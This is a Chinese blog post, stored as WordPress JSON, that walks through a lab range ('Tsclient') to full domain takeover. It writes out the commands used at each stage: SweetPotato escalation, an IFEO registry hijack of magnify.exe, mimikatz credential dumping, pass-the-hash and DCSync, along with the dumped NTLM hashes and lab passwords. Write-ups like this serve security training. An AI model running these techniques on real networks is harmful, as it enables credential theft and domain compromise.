{"id":233,"date":"2023-05-18T23:18:20","date_gmt":"2023-05-18T15:18:20","guid":{"rendered":"https:\/\/zysgmzb.club\/?p=233"},"modified":"2023-05-18T23:18:20","modified_gmt":"2023-05-18T15:18:20","slug":"%e6%98%a5%e7%a7%8b%e4%ba%91%e5%a2%83%e9%9d%b6%e5%9c%ba%e8%ae%b0%e5%bd%95-tsclient","status":"publish","type":"post","link":"https:\/\/zysgmzb.club\/index.php\/archives\/233","title":{"rendered":"\u6625\u79cb\u4e91\u5883\u9776\u573a\u8bb0\u5f55-Tsclient"},"content":{"rendered":"<blockquote>\n<p>\u53c8\u6c2a\u91d1\u4e86\uff0cviper\u597d\u7528\u634f<\/p>\n<\/blockquote>\n<p>\u5165\u53e3<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/6464ccdc0d2dde5777d496e0.jpg\" alt=\"\" \/><\/p>\n<p>\u7aef\u53e3\u626b\u63cf<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/6464cdb60d2dde5777d562ef.jpg\" alt=\"\" \/><\/p>\n<p>1433\u7aef\u53e3\u5f00\u542f\u4e86mssql\u670d\u52a1\u5e76\u4e14\u5f97\u5230\u4e86\u8d26\u53f7\u5bc6\u7801\u662fsa:1qaz!QAZ<\/p>\n<p>\u76f4\u63a5\u62ffMDUT\u53bb\u8fde<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/6464cf210d2dde5777d6bde1.jpg\" alt=\"\" \/><\/p>\n<p>\u5148\u4e0a\u7ebf\u5230viper(\u53c8\u91cd\u5f00\u4e86\u53f0\u673a\u5668)<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/64661be90d2dde577760cb13.jpg\" alt=\"\" \/><\/p>\n<p>\u7136\u540e\u76f4\u63a5\u4e0a\u4f20\u751c\u571f\u8c46\u641e\u5230system\u6743\u9650\u7684shell<\/p>\n<pre class=\"prettyprint linenums\" ><code>shell C:\/Users\/Public\/SweetPotato.exe -a C:\/Users\/Public\/1.exe<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/64661e820d2dde5777653cfa.jpg\" alt=\"\" \/><\/p>\n<p>\u67e5\u770b\u6587\u4ef6\u7cfb\u7edf\u83b7\u5f97\u7b2c\u4e00\u4e2aflag<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/64661ecf0d2dde577765876f.jpg\" alt=\"\" \/><\/p>\n<p>\u4e0a\u4f20fscan\u626b\u5185\u7f51\uff0c\u7ed3\u679c\u5982\u4e0b<\/p>\n<pre class=\"prettyprint linenums\" ><code>start infoscan\n(icmp) Target 172.22.8.18     is alive\n(icmp) Target 172.22.8.15     is alive\n(icmp) Target 172.22.8.31     is alive\n(icmp) Target 172.22.8.46     is alive\n[*] Icmp alive hosts len is: 4\n172.22.8.18:1433 open\n172.22.8.46:445 open\n172.22.8.15:88 open\n172.22.8.46:135 open\n172.22.8.31:445 open\n172.22.8.15:445 open\n172.22.8.18:445 open\n172.22.8.46:139 open\n172.22.8.31:139 open\n172.22.8.15:139 open\n172.22.8.18:139 open\n172.22.8.31:135 open\n172.22.8.15:135 open\n172.22.8.18:135 open\n172.22.8.46:80 open\n172.22.8.18:80 open\n[*] alive ports len is: 16\nstart vulscan\n[*] NetBios: 172.22.8.15     [+]DC XIAORANG\\DC01            \n[*] NetInfo:\n[*]172.22.8.31\n   [-&gt;]WIN19-CLIENT\n   [-&gt;]172.22.8.31\n[*] NetInfo:\n[*]172.22.8.46\n   [-&gt;]WIN2016\n   [-&gt;]172.22.8.46\n[*] NetBios: 172.22.8.31     XIAORANG\\WIN19-CLIENT          \n[*] NetInfo:\n[*]172.22.8.15\n   [-&gt;]DC01\n   [-&gt;]172.22.8.15\n[*] NetInfo:\n[*]172.22.8.18\n   [-&gt;]WIN-WEB\n   [-&gt;]172.22.8.18\n   [-&gt;]2001:0:348b:fb58:18ed:38d2:d89d:38b3\n[*] NetBios: 172.22.8.46     WIN2016.xiaorang.lab                Windows Server 2016 Datacenter 14393 \n[*] WebTitle: http:\/\/172.22.8.18        code:200 len:703    title:IIS Windows Server\n[*] WebTitle: http:\/\/172.22.8.46        code:200 len:703    title:IIS Windows Server\n[+] mssql:172.22.8.18:1433:sa 1qaz!QAZ<\/code><\/pre>\n<p>\u5f97\u77e5\u5171\u6709\u56db\u53f0\u673a\u5668<\/p>\n<pre class=\"prettyprint linenums\" ><code>172.22.8.18     \u641e\u5b9a\n172.22.8.15     \u57df\u63a7\n172.22.8.31     \u57df\u5185\u673a\u5668\n172.22.8.46     \u57df\u5185\u673a\u5668<\/code><\/pre>\n<p>shell net user\u53d1\u73b0\u8fd8\u6709\u4e2ajohn\u7528\u6237<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/6466220a0d2dde577769727c.jpg\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u627e\u5230explorer\u7136\u540e\u8fdb\u7a0b\u6ce8\u5165\u4e0a\u7ebfjohn<\/p>\n<p>shell net use\u53d1\u73b0john\u6709\u5171\u4eab\u6587\u4ef6<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/646622a00d2dde57776a31d7.jpg\" alt=\"\" \/><\/p>\n<p>\u4e00\u773c\u4e01\u771ftsclient\u70b9\u9898\u4e86\uff0c\u4e8e\u662f\u8bbf\u95ee\u4e00\u4e0b\u53d1\u73b0\u91cc\u9762\u6709\u4e2acredential.txt<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/646623010d2dde57776a9848.jpg\" alt=\"\" \/><\/p>\n<p>\u6253\u5f00\u53d1\u73b0\u4e00\u4e2a\u7528\u6237\u7684\u7528\u6237\u540d\u548c\u5bc6\u7801 --&gt; xiaorang.lab\\Aldrich:Ald@rLMWuy7Z!#\uff0c\u5e76\u4e14\u63d0\u793a\u4e86hijack Image\uff0c\u641c\u4e86\u4e00\u4e0b\u662f\u6620\u50cf\u52ab\u6301\uff0c\u597d\u50cf\u662f\u6539\u6ce8\u518c\u8868\u7684<\/p>\n<p>viper\u5f00\u4e2a\u4ee3\u7406\uff0cproxychains4\u8fde\u63a5\u7136\u540e\u624b\u52a8rdp\u767b\u4e00\u4e0b\u8fd9\u4e2a\u8d26\u53f7\uff0c\u53d1\u73b0\u8981\u4fee\u6539\u5bc6\u7801\uff0c\u800c\u4e14\u8fd8\u8981\u4e00\u5b9a\u590d\u6742\u6027\uff0c\u4e8e\u662f\u6539\u6210\u4e86Zys@gmzb!@#<\/p>\n<p>\u8bd5\u4e86\u4e00\u4e0b\uff0c\u7ed3\u679c\u5982\u4e0b<\/p>\n<pre class=\"prettyprint linenums\" ><code>172.22.8.15     rdp\u4e0d\u4e0a\n172.22.8.31     \u767b\u4e0d\u4e86\n172.22.8.46     \u6210\u529f\u767b\u5f55<\/code><\/pre>\n<p>\u83ab\u540d\u5176\u5999rdesktop\u8fde\u4e0a172.22.8.46\u540e\u5565\u4e5f\u5e72\u4e0d\u4e86\u5c31\u65ad\u4e86\uff0c\u4e8e\u662f\u6362proxyfiler\u6302\u4ee3\u7406windows\u8fde\u4e0b\uff0c\u6210\u529f\u767b\u5f55\uff0c\u592a\u5361\u4e86\u592a\u5361\u4e86<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/6466276b0d2dde57776f8dc2.jpg\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5viper\u641e\u4e2a\u7aef\u53e3\u8f6c\u53d1\u628a18\u4e0a\u76841234\u7aef\u53e3\u8f6c\u53d1\u5230vps\u7684\u76d1\u542c\u5668\u4e0a\uff0c\u7136\u540e\u76f4\u63a5\u4e0a\u7ebfAldrich<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/64662cdb0d2dde577778e567.jpg\" alt=\"\" \/><\/p>\n<p>\u63a5\u4e0b\u6765\u4f30\u8ba1\u5c31\u662f\u90a3\u4e2a\u6620\u50cf\u52ab\u6301\u6765\u63d0\u6743\u5565\u7684\uff0c\u4e00\u70b9\u4e0d\u61c2\uff0c\u76f4\u63a5\u6284<\/p>\n<p>rdp\u91cc\u76f4\u63a5\u8fd0\u884c\u8fd9\u4e2a\u547d\u4ee4<\/p>\n<pre class=\"prettyprint linenums\" ><code>get-acl -path &quot;HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options&quot; | fl *<\/code><\/pre>\n<p>\u7ed3\u679c\u5982\u4e0b<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/64662ed70d2dde57777b984c.jpg\" alt=\"\" \/><\/p>\n<pre class=\"prettyprint linenums\" ><code>PSPath                  : Microsoft.PowerShell.Core\\Registry::HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentV\n                          ersion\\Image File Execution Options\nPSParentPath            : Microsoft.PowerShell.Core\\Registry::HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentV\n                          ersion\nPSChildName             : Image File Execution Options\nPSDrive                 : HKLM\nPSProvider              : Microsoft.PowerShell.Core\\Registry\nCentralAccessPolicyId   :\nCentralAccessPolicyName :\nPath                    : Microsoft.PowerShell.Core\\Registry::HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentV\n                          ersion\\Image File Execution Options\nOwner                   : NT AUTHORITY\\SYSTEM\nGroup                   : NT AUTHORITY\\SYSTEM\nAccess                  : {System.Security.AccessControl.RegistryAccessRule, System.Security.AccessControl.RegistryAcce\n                          ssRule, System.Security.AccessControl.RegistryAccessRule, System.Security.AccessControl.Regis\n                          tryAccessRule...}\nSddl                    : O:SYG:SYD:PAI(A;CIIO;KA;;;CO)(A;CI;CCDCLCSWRPRC;;;AU)(A;CI;KA;;;SY)(A;CI;KA;;;BA)(A;CI;KR;;;B\n                          U)(A;CI;KR;;;AC)\nAccessToString          : CREATOR OWNER Allow  FullControl\n                          NT AUTHORITY\\Authenticated Users Allow  SetValue, CreateSubKey, ReadKey\n                          NT AUTHORITY\\SYSTEM Allow  FullControl\n                          BUILTIN\\Administrators Allow  FullControl\n                          BUILTIN\\Users Allow  ReadKey\n                          APPLICATION PACKAGE AUTHORITY\\ALL APPLICATION PACKAGES Allow  ReadKey\nAuditToString           :\nAccessRightType         : System.Security.AccessControl.RegistryRights\nAccessRuleType          : System.Security.AccessControl.RegistryAccessRule\nAuditRuleType           : System.Security.AccessControl.RegistryAuditRule\nAreAccessRulesProtected : True\nAreAuditRulesProtected  : False\nAreAccessRulesCanonical : True\nAreAuditRulesCanonical  : True<\/code><\/pre>\n<p>\u4ece\u4e2d\u5f97\u77e5\u53ef\u4ee5\u7528\u8d26\u53f7\u5bc6\u7801\u767b\u9646\u7684\u7528\u6237\u90fd\u53ef\u4ee5\u4fee\u6539\u6ce8\u518c\u8868<\/p>\n<p>\u7136\u540e\u5c31\u76f4\u63a5\u8fd0\u884c\u8fd9\u6761\u547d\u4ee4\u5e76\u7528\u653e\u5927\u955c\u63d0\u6743<\/p>\n<pre class=\"prettyprint linenums\" ><code>REG ADD &quot;HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\magnify.exe&quot; \/v Debugger \/t REG_SZ \/d &quot;C:\\windows\\system32\\cmd.exe&quot;<\/code><\/pre>\n<p>\u8fd0\u884c\u540e\u5de6\u4e0b\u89d2\u70b9\u51fb\u5934\u50cf\u9009\u9501\u5b9a\u673a\u5668\uff0c\u7136\u540e\u53f3\u4e0b\u89d2\u91cc\u9762\u70b9\u4e00\u4e0b\u653e\u5927\u955c\uff0c\u6210\u529f\u63d0\u6743\u5230system<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/6466312c0d2dde57777f496c.jpg\" alt=\"\" \/><\/p>\n<p>shell\u91cc\u9762\u8fd0\u884c\u4e00\u4e0b\u4e4b\u524d\u7684\u9a6c\uff0c\u76f4\u63a5\u4e0a\u7ebfsystem\uff0c\u83b7\u5f97flag2<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/646631d20d2dde57778028c8.jpg\" alt=\"\" \/><\/p>\n<p>\u6267\u884cnet group &quot;domain admins&quot; \/domain\u53ef\u4ee5\u53d1\u73b0WIN2016$\u5728\u57df\u7ba1\u7406\u91cc\uff0c\u5c31\u53ef\u4ee5\u60f3\u529e\u6cd5hash\u4f20\u9012\u6765\u8fbe\u5230\u57df\u63a7<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/6466378f0d2dde5777894ce8.jpg\" alt=\"\" \/><\/p>\n<p>msf\u91cc\u76f4\u63a5mimikatz<\/p>\n<pre class=\"prettyprint linenums\" ><code>load kiwi\nkiwi_cmd sekurlsa::logonpasswords<\/code><\/pre>\n<p>\u62ff\u5230WIN2016$\u7684hash<\/p>\n<pre class=\"prettyprint linenums\" ><code>Authentication Id : 0 ; 15868125 (00000000:00f220dd)\nSession           : Interactive from 2\nUser Name         : DWM-2\nDomain            : Window Manager\nLogon Server      : (null)\nLogon Time        : 2023\/5\/18 21:25:27\nSID               : S-1-5-90-0-2\n        msv :\n         [00000003] Primary\n         * Username : WIN2016$\n         * Domain   : XIAORANG\n         * NTLM     : 11e09d02069737e9646236f46a99effa\n         * SHA1     : 6f8536dc4da8df2113b93d48d242251918e23947\n        tspkg :\n        wdigest :\n         * Username : WIN2016$\n         * Domain   : XIAORANG\n         * Password : (null)\n        kerberos :\n         * Username : WIN2016$\n         * Domain   : xiaorang.lab\n         * Password : 19 b5 f6 22 6d 70 51 9b 6c a5 10 f4 c9 cf 9b e2 3c 65 fa 65 15 c4 79 74 32 ba 42 54 dc b4 df a5 ee d5 01 f4 e9 2d 3f 71 11 1a 23 6f 90 0b 68 bc 16 f0 ef 08 7e 2c a7 c1 95 7d a5 60 73 96 ea 90 5b 03 eb ce 66 68 a7 6a a9 52 43 85 cb 91 c1 75 ed 38 4c 61 1d 6f 18 11 25 cc c7 08 0e 46 c7 b0 90 be 68 40 b2 ae 03 35 1a 3d 78 3f 85 4a 4d 6c 40 b2 34 aa 63 90 0b 26 01 15 91 93 31 73 b3 84 bb 37 13 91 63 91 7f 51 04 3b 00 6f 79 fc 96 11 57 03 63 8b 8a 95 13 48 12 f7 43 e4 8f 85 1c 96 f7 17 3d b2 0f 41 34 ed f2 fc 3d 7e df 38 ca fd fc e0 37 26 4a e9 dd c9 76 73 6f a6 cb 49 29 2e 6c fd 8f f0 0c f5 00 26 b4 29 e5 79 e0 93 e6 8e 1a 7e 38 b3 d3 09 dc 3c 1b 40 08 b9 48 ae da 0a a0 cc 31 2f 83 18 c6 d9 6c e4 c4 73 dd cf 01 e1 \n        ssp :\n        credman :<\/code><\/pre>\n<p>\u76f4\u63a5\u6ce8\u5165hash<\/p>\n<pre class=\"prettyprint linenums\" ><code>mimikatz_x64.exe\nprivilege::debug\nsekurlsa::pth \/user:WIN2016$ \/domain:xiaorang.lab \/ntlm:11e09d02069737e9646236f46a99effa<\/code><\/pre>\n<p>\u7136\u540edump\u57df\u63a7hash<\/p>\n<pre class=\"prettyprint linenums\" ><code>privilege::debug\nlsadump::dcsync \/domain:xiaorang.lab  \/user:Administrator<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/64663f860d2dde57779dcf13.jpg\" alt=\"\" \/><\/p>\n<pre class=\"prettyprint linenums\" ><code>Object RDN           : Administrator\n\n** SAM ACCOUNT **\n\nSAM Username         : Administrator\nAccount Type         : 30000000 ( USER_OBJECT )\nUser Account Control : 00000200 ( NORMAL_ACCOUNT )\nAccount expiration   : 1601\/1\/1 8:00:00\nPassword last change : 2023\/5\/18 20:22:25\nObject Security ID   : S-1-5-21-3289074908-3315245560-3429321632-500\nObject Relative ID   : 500\n\nCredentials:\n  Hash NTLM: 2c9d81bdcf3ec8b1def10328a7cc2f08\n    ntlm- 0: 2c9d81bdcf3ec8b1def10328a7cc2f08\n    ntlm- 1: 2c9d81bdcf3ec8b1def10328a7cc2f08\n    lm  - 0: f5a2844be6f8377cf0870618cda7f97c<\/code><\/pre>\n<p>\u5f97\u5230\u57df\u63a7hash<\/p>\n<pre class=\"prettyprint linenums\" ><code>2c9d81bdcf3ec8b1def10328a7cc2f08<\/code><\/pre>\n<p>\u7136\u540e\u76f4\u63a5hash\u4f20\u9012\u767b\u4e0a\u57df\u63a7\u673a\u5668172.22.8.15\uff0c\u62ff\u5230flag3<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/64663ef30d2dde57779c4cd6.jpg\" alt=\"\" \/><\/p>\n<p>\u4ee4\u4eba\u611f\u53f9<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic2.imgdb.cn\/item\/646640460d2dde57779fafac.jpg\" alt=\"\" \/><\/p>\n<p>\u7ed3\u675f<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u53c8\u6c2a\u91d1\u4e86\uff0cviper\u597d\u7528\u634f \u5165\u53e3 \u7aef\u53e3\u626b\u63cf 1433\u7aef\u53e3\u5f00\u542f\u4e86mssql\u670d\u52a1\u5e76\u4e14\u5f97\u5230\u4e86\u8d26\u53f7\u5bc6\u7801\u662fsa:1qaz!QAZ \u76f4\u63a5\u62ffMDUT\u53bb\u8fde \u5148\u4e0a\u7ebf\u5230viper(\u53c8\u91cd\u5f00\u4e86\u53f0\u673a\u5668) \u7136\u540e\u76f4\u63a5\u4e0a\u4f20\u751c\u571f\u8c46\u641e\u5230system\u6743\u9650\u7684shell shell C:\/Users\/Public\/SweetPotato.exe -a C:\/Users\/Public\/1.exe \u67e5\u770b\u6587\u4ef6\u7cfb\u7edf\u83b7\u5f97\u7b2c\u4e00\u4e2aflag \u4e0a\u4f20fsca [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,3],"tags":[],"class_list":["post-233","post","type-post","status-publish","format-standard","hentry","category-wp","category-learn"],"_links":{"self":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/233","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/comments?post=233"}],"version-history":[{"count":1,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/233\/revisions"}],"predecessor-version":[{"id":234,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/233\/revisions\/234"}],"wp:attachment":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/media?parent=233"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/categories?post=233"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/tags?post=233"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}